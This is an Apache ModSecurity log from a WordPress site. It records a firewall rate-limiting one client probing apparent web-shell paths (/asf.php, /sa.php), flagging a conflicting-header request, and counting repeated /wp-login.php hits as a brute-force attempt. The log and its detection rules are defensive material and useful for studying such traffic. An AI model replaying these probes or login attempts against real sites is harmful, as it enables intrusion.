[Sun Mar 01 23:22:59.695913 2026] [:error] [pid 40750:tid 40755] [client 52.169.119.118:14661] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asf.php"] [unique_id "aaRZ0wfBuk03yQKDyquZ2QAAAcI"]
[Sun Mar 01 23:23:00.198612 2026] [:error] [pid 7133:tid 7150] [client 52.169.119.118:14555] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asf.php"] [unique_id "aaRZ1PCtubh8pR64qB9z-QAAAE8"]
[Sun Mar 01 23:23:00.695860 2026] [:error] [pid 38034:tid 38062] [client 52.169.119.118:17145] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asf.php"] [unique_id "aaRZ1AxtfZjwlJok9K8vlwAAARg"]
[Sun Mar 01 23:23:01.194749 2026] [:error] [pid 38241:tid 38256] [client 52.169.119.118:11253] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asf.php"] [unique_id "aaRZ1fKRPk6YnJBxw_xORQAAAMw"]
[Sun Mar 01 23:23:01.693382 2026] [:error] [pid 38241:tid 38250] [client 52.169.119.118:6460] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php"] [unique_id "aaRZ1fKRPk6YnJBxw_xOSAAAAMY"]
[Sun Mar 01 23:23:02.191059 2026] [:error] [pid 38241:tid 38255] [client 52.169.119.118:4834] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php"] [unique_id "aaRZ1vKRPk6YnJBxw_xOSQAAAMs"]
[Sun Mar 01 23:23:02.693473 2026] [:error] [pid 41780:tid 41801] [client 52.169.119.118:11203] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php"] [unique_id "aaRZ1sONkVoocLIqzy02pAAAA9I"]
[Sun Mar 01 23:23:03.210666 2026] [:error] [pid 40750:tid 40771] [client 52.169.119.118:12843] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php"] [unique_id "aaRZ1wfBuk03yQKDyquZ3wAAAdI"]
[Sun Mar 01 23:32:41.123262 2026] [:error] [pid 7165:tid 7174] [client 43.138.68.113:60862] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaRcGRRjCrA8qWBjgG-9wQAAAkc"]
[Sun Mar 01 23:42:16.331602 2026] [:error] [pid 38241:tid 38252] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReWPKRPk6YnJBxw_xYaQAAAMg"], referer: https://www.facebook.com/
[Sun Mar 01 23:42:18.815400 2026] [:error] [pid 38241:tid 38262] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReWvKRPk6YnJBxw_xYcwAAANI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:21.650777 2026] [:error] [pid 38241:tid 38256] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReXfKRPk6YnJBxw_xYeAAAAMw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:23.629360 2026] [:error] [pid 38241:tid 38267] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReX_KRPk6YnJBxw_xYeQAAANc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:26.621610 2026] [:error] [pid 38241:tid 38245] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReYvKRPk6YnJBxw_xYewAAAME"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:28.284425 2026] [:error] [pid 38241:tid 38246] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReZPKRPk6YnJBxw_xYfQAAAMI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:30.947286 2026] [:error] [pid 38241:tid 38249] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReZvKRPk6YnJBxw_xYgwAAAMU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:33.066046 2026] [:error] [pid 38241:tid 38247] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReafKRPk6YnJBxw_xYhAAAAMM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:35.660986 2026] [:error] [pid 38241:tid 38244] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRea_KRPk6YnJBxw_xYhwAAAMA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:37.400279 2026] [:error] [pid 38241:tid 38258] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRebfKRPk6YnJBxw_xYigAAAM4"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:40.078654 2026] [:error] [pid 38241:tid 38267] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRecPKRPk6YnJBxw_xYjQAAANc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:41.878720 2026] [:error] [pid 38241:tid 38253] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRecfKRPk6YnJBxw_xYjgAAAMk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:44.456735 2026] [:error] [pid 38241:tid 38250] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRedPKRPk6YnJBxw_xYkQAAAMY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:46.300026 2026] [:error] [pid 38241:tid 38246] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRedvKRPk6YnJBxw_xYkgAAAMI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:48.948833 2026] [:error] [pid 38241:tid 38264] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReePKRPk6YnJBxw_xYlAAAANQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:50.760334 2026] [:error] [pid 38241:tid 38252] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReevKRPk6YnJBxw_xYlQAAAMg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:53.401956 2026] [:error] [pid 38241:tid 38265] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReffKRPk6YnJBxw_xYlwAAANU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:55.633809 2026] [:error] [pid 38241:tid 38261] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRef_KRPk6YnJBxw_xYmAAAANE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:42:58.577581 2026] [:error] [pid 38241:tid 38262] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRegvKRPk6YnJBxw_xYmwAAANI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:00.690204 2026] [:error] [pid 38241:tid 38244] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRehPKRPk6YnJBxw_xYnQAAAMA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:03.586973 2026] [:error] [pid 38241:tid 38246] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReh_KRPk6YnJBxw_xYpAAAAMI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:05.675487 2026] [:error] [pid 38241:tid 38265] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReifKRPk6YnJBxw_xYpwAAANU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:08.493691 2026] [:error] [pid 38241:tid 38247] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRejPKRPk6YnJBxw_xYqwAAAMM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:10.269836 2026] [:error] [pid 38241:tid 38263] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRejvKRPk6YnJBxw_xYrAAAANM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:12.984709 2026] [:error] [pid 38241:tid 38258] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRekPKRPk6YnJBxw_xYrgAAAM4"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:14.831466 2026] [:error] [pid 38241:tid 38254] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRekvKRPk6YnJBxw_xYsAAAAMo"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:17.430415 2026] [:error] [pid 38241:tid 38245] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRelfKRPk6YnJBxw_xYtAAAAME"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:19.456194 2026] [:error] [pid 38241:tid 38248] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRel_KRPk6YnJBxw_xYuQAAAMQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:22.141064 2026] [:error] [pid 38241:tid 38264] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRemvKRPk6YnJBxw_xYvAAAANQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:24.065178 2026] [:error] [pid 38241:tid 38261] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRenPKRPk6YnJBxw_xYvQAAANE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:26.753364 2026] [:error] [pid 38241:tid 38256] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRenvKRPk6YnJBxw_xYyAAAAMw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:28.709709 2026] [:error] [pid 38241:tid 38247] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReoPKRPk6YnJBxw_xYzAAAAMM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:31.347654 2026] [:error] [pid 38241:tid 38249] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReo_KRPk6YnJBxw_xY1QAAAMU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:33.253023 2026] [:error] [pid 38241:tid 38259] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRepfKRPk6YnJBxw_xY1gAAAM8"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:35.861038 2026] [:error] [pid 38241:tid 38251] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRep_KRPk6YnJBxw_xY3AAAAMc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:37.955006 2026] [:error] [pid 38241:tid 38258] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReqfKRPk6YnJBxw_xY4AAAAM4"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:40.613763 2026] [:error] [pid 38241:tid 38253] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRerPKRPk6YnJBxw_xY4gAAAMk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:42.743183 2026] [:error] [pid 38241:tid 38264] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRervKRPk6YnJBxw_xY7QAAANQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:45.444620 2026] [:error] [pid 38241:tid 38250] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaResfKRPk6YnJBxw_xY_wAAAMY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:47.158679 2026] [:error] [pid 38241:tid 38249] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRes_KRPk6YnJBxw_xZEAAAAMU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:49.837530 2026] [:error] [pid 38241:tid 38251] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRetfKRPk6YnJBxw_xZIwAAAMc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:51.611874 2026] [:error] [pid 38241:tid 38245] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRet_KRPk6YnJBxw_xZLQAAAME"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:54.473223 2026] [:error] [pid 38241:tid 38262] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReuvKRPk6YnJBxw_xZNQAAANI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:56.438686 2026] [:error] [pid 38241:tid 38256] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRevPKRPk6YnJBxw_xZNgAAAMw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:43:59.091178 2026] [:error] [pid 38241:tid 38248] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRev_KRPk6YnJBxw_xZOQAAAMQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:01.157583 2026] [:error] [pid 38241:tid 38258] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRewfKRPk6YnJBxw_xZOgAAAM4"], referer: https://gigfragments.org/wp-login.php
